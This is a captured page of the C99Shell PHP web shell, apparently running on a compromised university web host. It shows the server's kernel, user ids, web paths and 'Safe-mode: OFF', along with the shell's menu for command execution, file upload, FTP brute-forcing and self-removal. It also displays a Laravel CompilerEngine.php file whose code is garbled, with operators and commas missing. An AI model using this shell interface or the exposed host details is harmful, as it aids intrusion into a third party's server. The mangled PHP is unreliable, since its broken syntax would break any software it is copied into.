!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/View/Engines/   drwxr-xr-x
Free 117.15 GB of 200.55 GB (58.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CompilerEngine.php (2.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\View\Engines;

use 
Exception;
use 
ErrorException;
use 
Illuminate\View\Compilers\CompilerInterface;

class 
CompilerEngine extends PhpEngine
{
    
/**
     * The Blade compiler instance.
     *
     * @var \Illuminate\View\Compilers\CompilerInterface
     */
    
protected $compiler;

    
/**
     * A stack of the last compiled templates.
     *
     * @var array
     */
    
protected $lastCompiled = [];

    
/**
     * Create a new Blade view engine instance.
     *
     * @param  \Illuminate\View\Compilers\CompilerInterface  $compiler
     * @return void
     */
    
public function __construct(CompilerInterface $compiler)
    {
        
$this->compiler $compiler;
    }

    
/**
     * Get the evaluated contents of the view.
     *
     * @param  string  $path
     * @param  array   $data
     * @return string
     */
    
public function get($path, array $data = [])
    {
        
$this->lastCompiled[] = $path;

        
// If this given view has expired, which means it has simply been edited since
        // it was last compiled, we will re-compile the views so we can evaluate a
        // fresh copy of the view. We'll pass the compiler the path of the view.
        
if ($this->compiler->isExpired($path)) {
            
$this->compiler->compile($path);
        }

        
$compiled $this->compiler->getCompiledPath($path);

        
// Once we have the path to the compiled file, we will evaluate the paths with
        // typical PHP just like any other templates. We also keep a stack of views
        // which have been rendered for right exception messages to be generated.
        
$results $this->evaluatePath($compiled$data);

        
array_pop($this->lastCompiled);

        return 
$results;
    }

    
/**
     * Handle a view exception.
     *
     * @param  \Exception  $e
     * @param  int  $obLevel
     * @return void
     *
     * @throws $e
     */
    
protected function handleViewException(Exception $e$obLevel)
    {
        
$e = new ErrorException($this->getMessage($e), 01$e->getFile(), $e->getLine(), $e);

        
parent::handleViewException($e$obLevel);
    }

    
/**
     * Get the exception message for an exception.
     *
     * @param  \Exception  $e
     * @return string
     */
    
protected function getMessage(Exception $e)
    {
        return 
$e->getMessage().' (View: '.realpath(last($this->lastCompiled)).')';
    }

    
/**
     * Get the compiler implementation.
     *
     * @return \Illuminate\View\Compilers\CompilerInterface
     */
    
public function getCompiler()
    {
        return 
$this->compiler;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0385 ]--